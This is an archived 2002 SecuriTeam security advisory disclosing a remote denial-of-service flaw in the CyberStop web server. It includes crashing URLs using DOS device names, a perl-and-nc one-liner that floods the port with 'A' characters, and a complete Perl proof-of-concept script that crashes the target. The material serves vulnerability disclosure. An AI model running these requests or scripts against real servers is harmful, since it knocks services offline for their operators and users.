[NT] CyberStop Web Server Remote DoS

From: support@securiteam.com
Date: 01/22/02 

From: support@securiteam.com
To: list@securiteam.com
Date: Tue, 22 Jan 2002 15:22:20 +0100 (CET)

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  CyberStop Web Server Remote DoS
------------------------------------------------------------------------

SUMMARY

CyberStop web server can transform a normal PC into a web server. By
embedding a DOS device in the URL, remote attackers can cause a denial of
service attacks against the server.

DETAILS

A Denial of Service attack can be caused in the product by issuing the
following request:
http://www.example.com/aux
http://www.example.com/prn
http://www.example.com/com1

In addition, it is possible to crash the server remotely by sending a
large number of 'A' characters to the web server's port.

Exploits:
# perl -e ' for ($i=1;$i<2049;$i++) { print "A";} ' | nc 10.0.0.1 80

sh-2.04# nc -vvn 10.0.0.1 80
(UNKNOWN) [10.0.0.1] 80 (?) open
GET /aux HTTP/1.0

sh-2.04#

<B>Exploit Code DoS Cyber_DoS.pl:</B>
#!/usr/bin/perl
# Simple script to send a long 'A^s' command to the server,
# resulting in the server crashing.
#
# CyberStop WEbserver v0.1 proof-of-concept exploit
# By Alex Hernandez <al3xhernandez@ureach.com> (C)2002.
#
# Thanks all the people from Spain and Argentina.
# Special Greets: White-B, Pablo S0r, Paco Spain, L.Martins,
# G.Maggiotti & H.Oliveira.
#
#
# Usage: perl -x Cyber_DoS.pl -s <server>
#
# Example:
#
# perl -x Cyber_DoS.pl -s 10.0.0.1
#
# Crash was successful !
#

use Getopt::Std;
use IO::Socket;

print("\nCyberStop WEbserver v0.1 DoS exploit (c)2002.\n");
print("Alex Hernandez al3xhernandez\@ureach.com\n\n");

getopts('s:', \%args);
if(!defined($args{s})){&usage;}

($serv,$port,$def,$num,$data,$buf,$in_addr,$paddr,$proto);

$def = "A";
$num = "3000";
$data .= $def x $num;
$serv = $args{s};
$port = 80;
$buf = "GET /$data /HTTP/1.0\r\n\r\n";

$in_addr = (gethostbyname($serv))[4] || die("Error: $!\n");
$paddr = sockaddr_in($port, $in_addr) || die ("Error: $!\n");
$proto = getprotobyname('tcp') || die("Error: $!\n");

socket(S, PF_INET, SOCK_STREAM, $proto) || die("Error: $!");
connect(S, $paddr) ||die ("Error: $!");
select(S); $| = 1; select(STDOUT);
print S "$buf";

print("\nCrash was successful !\n\n");

sub usage {die("\n\nUsage: perl -x $0 -s <server>\n\n");}

ADDITIONAL INFORMATION

The information has been provided by <mailto:al3xhernandez@ureach.com>
Alex Hernandez.

========================================

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